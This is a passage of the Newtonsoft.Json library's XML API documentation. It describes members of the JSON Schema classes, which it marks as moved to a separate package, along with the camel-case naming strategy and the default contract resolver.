value indicating whether additional items are allowed.\n            </summary>\n            <value>\n            \t<c>true</c> if additional items are allowed; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.UniqueItems\">\n            <summary>\n            Gets or sets whether the array items must be unique.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Properties\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of properties.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of properties.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.AdditionalProperties\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of additional properties.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> of additional properties.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.PatternProperties\">\n            <summary>\n            Gets or sets the pattern properties.\n            </summary>\n            <value>The pattern properties.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.AllowAdditionalProperties\">\n            <summary>\n            Gets or sets a value indicating whether additional properties are allowed.\n            </summary>\n            <value>\n            \t<c>true</c> if additional properties are allowed; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Requires\">\n            <summary>\n            Gets or sets the required property if this property is present.\n            </summary>\n            <value>The required property if this property is present.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Enum\">\n            <summary>\n            Gets or sets the a collection of valid enum values allowed.\n            </summary>\n            <value>A collection of valid enum values allowed.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Disallow\">\n            <summary>\n            Gets or sets disallowed types.\n            </summary>\n            <value>The disallowed types.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Default\">\n            <summary>\n            Gets or sets the default value.\n            </summary>\n            <value>The default value.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Extends\">\n            <summary>\n            Gets or sets the collection of <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> that this schema extends.\n            </summary>\n            <value>The collection of <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> that this schema extends.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchema.Format\">\n            <summary>\n            Gets or sets the format.\n            </summary>\n            <value>The format.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.Read(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Reads a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> containing the JSON Schema to read.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> object representing the JSON Schema.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.Read(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Schema.JsonSchemaResolver)\">\n            <summary>\n            Reads a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> containing the JSON Schema to read.</param>\n            <param name=\"resolver\">The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\"/> to use when resolving schema references.</param>\n            <returns>The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> object representing the JSON Schema.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.Parse(System.String)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from a string that contains JSON Schema.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON Schema.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> populated from the string that contains JSON Schema.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.Parse(System.String,Newtonsoft.Json.Schema.JsonSchemaResolver)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from a string that contains JSON Schema using the specified <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\"/>.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON Schema.</param>\n            <param name=\"resolver\">The resolver.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> populated from the string that contains JSON Schema.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.WriteTo(Newtonsoft.Json.JsonWriter)\">\n            <summary>\n            Writes this schema to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.Schema.JsonSchemaResolver)\">\n            <summary>\n            Writes this schema to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> using the specified <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"resolver\">The resolver used.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchema.ToString\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> that represents the current <see cref=\"T:System.Object\"/>.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.String\"/> that represents the current <see cref=\"T:System.Object\"/>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.JsonSchemaException\">\n            <summary>\n            <para>\n            Returns detailed information about the schema exception.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchemaException.LineNumber\">\n            <summary>\n            Gets the line number indicating where the error occurred.\n            </summary>\n            <value>The line number indicating where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchemaException.LinePosition\">\n            <summary>\n            Gets the line position indicating where the error occurred.\n            </summary>\n            <value>The line position indicating where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchemaException.Path\">\n            <summary>\n            Gets the path to the JSON where the error occurred.\n            </summary>\n            <value>The path to the JSON where the error occurred.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaException.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaException\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaException.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaException\"/> class\n            with a specified error message.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaException.#ctor(System.String,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaException\"/> class\n            with a specified error message and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaException.#ctor(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaException\"/> class.\n            </summary>\n            <param name=\"info\">The <see cref=\"T:System.Runtime.Serialization.SerializationInfo\"/> that holds the serialized object data about the exception being thrown.</param>\n            <param name=\"context\">The <see cref=\"T:System.Runtime.Serialization.StreamingContext\"/> that contains contextual information about the source or destination.</param>\n            <exception cref=\"T:System.ArgumentNullException\">The <paramref name=\"info\"/> parameter is <c>null</c>.</exception>\n            <exception cref=\"T:System.Runtime.Serialization.SerializationException\">The class name is <c>null</c> or <see cref=\"P:System.Exception.HResult\"/> is zero (0).</exception>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.JsonSchemaGenerator\">\n            <summary>\n            <para>\n            Generates a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from a specified <see cref=\"T:System.Type\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchemaGenerator.UndefinedSchemaIdHandling\">\n            <summary>\n            Gets or sets how undefined schemas are handled by the serializer.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchemaGenerator.ContractResolver\">\n            <summary>\n            Gets or sets the contract resolver.\n            </summary>\n            <value>The contract resolver.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaGenerator.Generate(System.Type)\">\n            <summary>\n            Generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from the specified type.\n            </summary>\n            <param name=\"type\">The type to generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> generated from the specified type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaGenerator.Generate(System.Type,Newtonsoft.Json.Schema.JsonSchemaResolver)\">\n            <summary>\n            Generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from the specified type.\n            </summary>\n            <param name=\"type\">The type to generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from.</param>\n            <param name=\"resolver\">The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\"/> used to resolve schema references.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> generated from the specified type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaGenerator.Generate(System.Type,System.Boolean)\">\n            <summary>\n            Generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from the specified type.\n            </summary>\n            <param name=\"type\">The type to generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from.</param>\n            <param name=\"rootSchemaNullable\">Specify whether the generated root <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> will be nullable.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> generated from the specified type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaGenerator.Generate(System.Type,Newtonsoft.Json.Schema.JsonSchemaResolver,System.Boolean)\">\n            <summary>\n            Generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from the specified type.\n            </summary>\n            <param name=\"type\">The type to generate a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from.</param>\n            <param name=\"resolver\">The <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\"/> used to resolve schema references.</param>\n            <param name=\"rootSchemaNullable\">Specify whether the generated root <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> will be nullable.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> generated from the specified type.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\">\n            <summary>\n            <para>\n            Resolves <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> from an id.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.JsonSchemaResolver.LoadedSchemas\">\n            <summary>\n            Gets or sets the loaded schemas.\n            </summary>\n            <value>The loaded schemas.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaResolver.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaResolver\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Schema.JsonSchemaResolver.GetSchema(System.String)\">\n            <summary>\n            Gets a <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> for the specified reference.\n            </summary>\n            <param name=\"reference\">The id.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/> for the specified reference.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.JsonSchemaType\">\n            <summary>\n            <para>\n            The value types allowed by the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchema\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.None\">\n            <summary>\n            No type specified.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.String\">\n            <summary>\n            String type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Float\">\n            <summary>\n            Float type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Integer\">\n            <summary>\n            Integer type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Boolean\">\n            <summary>\n            Boolean type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Object\">\n            <summary>\n            Object type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Array\">\n            <summary>\n            Array type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Null\">\n            <summary>\n            Null type.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.JsonSchemaType.Any\">\n            <summary>\n            Any type.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.UndefinedSchemaIdHandling\">\n            <summary>\n            <para>\n            Specifies undefined schema Id handling options for the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaGenerator\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.UndefinedSchemaIdHandling.None\">\n            <summary>\n            Do not infer a schema Id.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.UndefinedSchemaIdHandling.UseTypeName\">\n            <summary>\n            Use the .NET type name as the schema Id.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Schema.UndefinedSchemaIdHandling.UseAssemblyQualifiedName\">\n            <summary>\n            Use the assembly qualified .NET type name as the schema Id.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.ValidationEventArgs\">\n            <summary>\n            <para>\n            Returns detailed information related to the <see cref=\"T:Newtonsoft.Json.Schema.ValidationEventHandler\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.ValidationEventArgs.Exception\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Schema.JsonSchemaException\"/> associated with the validation error.\n            </summary>\n            <value>The JsonSchemaException associated with the validation error.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.ValidationEventArgs.Path\">\n            <summary>\n            Gets the path of the JSON location where the validation error occurred.\n            </summary>\n            <value>The path of the JSON location where the validation error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Schema.ValidationEventArgs.Message\">\n            <summary>\n            Gets the text description corresponding to the validation error.\n            </summary>\n            <value>The text description.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Schema.ValidationEventHandler\">\n            <summary>\n            <para>\n            Represents the callback method that will handle JSON schema validation events and the <see cref=\"T:Newtonsoft.Json.Schema.ValidationEventArgs\"/>.\n            </para>\n            <note type=\"caution\">\n            JSON Schema validation has been moved to its own package. See <see href=\"https://www.newtonsoft.com/jsonschema\">https://www.newtonsoft.com/jsonschema</see> for more details.\n            </note>\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy\">\n            <summary>\n            A camel case naming strategy.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy.#ctor(System.Boolean,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy\"/> class.\n            </summary>\n            <param name=\"processDictionaryKeys\">\n            A flag indicating whether dictionary keys should be processed.\n            </param>\n            <param name=\"overrideSpecifiedNames\">\n            A flag indicating whether explicitly specified property names should be processed,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy.#ctor(System.Boolean,System.Boolean,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy\"/> class.\n            </summary>\n            <param name=\"processDictionaryKeys\">\n            A flag indicating whether dictionary keys should be processed.\n            </param>\n            <param name=\"overrideSpecifiedNames\">\n            A flag indicating whether explicitly specified property names should be processed,\n            e.g. a property name customized with a <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/>.\n            </param>\n            <param name=\"processExtensionDataNames\">\n            A flag indicating whether extension data names should be processed.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.CamelCaseNamingStrategy.ResolvePropertyName(System.String)\">\n            <summary>\n            Resolves the specified property name.\n            </summary>\n            <param name=\"name\">The property name to resolve.</param>\n            <returns>The resolved property name.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.CamelCasePropertyNamesContractResolver\">\n            <summary>\n            Resolves member mappings for a type, camel casing property names.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.CamelCasePropertyNamesContractResolver.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.CamelCasePropertyNamesContractResolver\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.CamelCasePropertyNamesContractResolver.ResolveContract(System.Type)\">\n            <summary>\n            Resolves the contract for a given type.\n            </summary>\n            <param name=\"type\">The type to resolve a contract for.</param>\n            <returns>The contract for a given type.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.DefaultContractResolver\">\n            <summary>\n            Used by <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to resolve a <see cref=\"T:Newtonsoft.Json.Serialization.JsonContract\"/> for a given <see cref=\"T:System.Type\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.DynamicCodeGeneration\">\n            <summary>\n            Gets a value indicating whether members are being get and set using dynamic code generation.\n            This value is determined by the runtime permissions available.\n            </summary>\n            <value>\n            \t<c>true</c> if using dynamic code generation; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.DefaultMembersSearchFlags\">\n            <summary>\n            Gets or sets the default members search flags.\n            </summary>\n            <value>The default members search flags.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.SerializeCompilerGeneratedMembers\">\n            <summary>\n            Gets or sets a value indicating whether compiler generated members should be serialized.\n            </summary>\n            <value>\n            \t<c>true</c> if serialized compiler generated members; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.IgnoreSerializableInterface\">\n            <summary>\n            Gets or sets a value indicating whether to ignore the <see cref=\"T:System.Runtime.Serialization.ISerializable\"/> interface when serializing and deserializing types.\n            </summary>\n            <value>\n            \t<c>true</c> if the <see cref=\"T:System.Runtime.Serialization.ISerializable\"/> interface will be ignored when serializing and deserializing types; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.IgnoreSerializableAttribute\">\n            <summary>\n            Gets or sets a value indicating whether to ignore the <see cref=\"T:System.SerializableAttribute\"/> attribute when serializing and deserializing types.\n            </summary>\n            <value>\n            \t<c>true</c> if the <see cref=\"T:System.SerializableAttribute\"/> attribute will be ignored when serializing and deserializing types; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.IgnoreIsSpecifiedMembers\">\n            <summary>\n            Gets or sets a value indicating whether to ignore IsSpecified members when serializing and deserializing types.\n            </summary>\n            <value>\n                <c>true</c> if the IsSpecified members will be ignored when serializing and deserializing types; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.IgnoreShouldSerializeMembers\">\n            <summary>\n            Gets or sets a value indicating whether to ignore ShouldSerialize members when serializing and deserializing types.\n            </summary>\n            <value>\n                <c>true</c> if the ShouldSerialize members will be ignored when serializing and deserializing types; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.DefaultContractResolver.NamingStrategy\">\n            <summary>\n            Gets or sets the naming strategy used to resolve how property names and dictionary keys are serialized.\n            </summary>\n            <value>The naming strategy used to resolve how property names and dictionary keys are serialized.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.DefaultContractResolver\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.ResolveContract(System.Type)\">\n            <summary>\n            Resolves the contract for a given type.\n            </summary>\n            <param name=\"type\">The type to resolve a contract for.</param>\n            <returns>The contract for a given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.GetSerializableMembers(System.Type)\">\n            <summary>\n            Gets the serializable members for the type.\n            </summary>\n            <param name=\"objectType\">The type to get serializable members for.</param>\n            <returns>The serializable members for the type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateObjectContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonObjectContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonObjectContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateConstructorParameters(System.Reflection.ConstructorInfo,Newtonsoft.Json.Serialization.JsonPropertyCollection)\">\n            <summary>\n            Creates the constructor parameters.\n            </summary>\n            <param name=\"constructor\">The constructor to create properties for.</param>\n            <param name=\"memberProperties\">The type's member properties.</param>\n            <returns>Properties for the given <see cref=\"T:System.Reflection.ConstructorInfo\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreatePropertyFromConstructorParameter(Newtonsoft.Json.Serialization.JsonProperty,System.Reflection.ParameterInfo)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> for the given <see cref=\"T:System.Reflection.ParameterInfo\"/>.\n            </summary>\n            <param name=\"matchingMemberProperty\">The matching member property.</param>\n            <param name=\"parameterInfo\">The constructor parameter.</param>\n            <returns>A created <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> for the given <see cref=\"T:System.Reflection.ParameterInfo\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.ResolveContractConverter(System.Type)\">\n            <summary>\n            Resolves the default <see cref=\"T:Newtonsoft.Json.JsonConverter\" /> for the contract.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>The contract's default <see cref=\"T:Newtonsoft.Json.JsonConverter\" />.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateDictionaryContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonDictionaryContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonDictionaryContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateArrayContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonArrayContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonArrayContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreatePrimitiveContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonPrimitiveContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonPrimitiveContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateLinqContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonLinqContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonLinqContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateISerializableContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonISerializableContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonISerializableContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateDynamicContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonDynamicContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonDynamicContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateStringContract(System.Type)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Serialization.JsonStringContract\"/> for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonStringContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateContract(System.Type)\">\n            <summary>\n            Determines which contract type is created for the given type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Serialization.JsonContract\"/> for the given type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateProperties(System.Type,Newtonsoft.Json.MemberSerialization)\">\n            <summary>\n            Creates properties for the given <see cref=\"T:Newtonsoft.Json.Serialization.JsonContract\"/>.\n            </summary>\n            <param name=\"type\">The type to create properties for.</param>\n            /// <param name=\"memberSerialization\">The member serialization mode for the type.</param>\n            <returns>Properties for the given <see cref=\"T:Newtonsoft.Json.Serialization.JsonContract\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.DefaultContractResolver.CreateMemberValueProvider(System.Reflection.MemberInfo)\">\n            <summary>\n            Creates the <see cref=\"T:Newtonsoft.Json.Serialization.IValueProvider\"/> used by the serializer to get and set values from a member.\n            </summary>\n            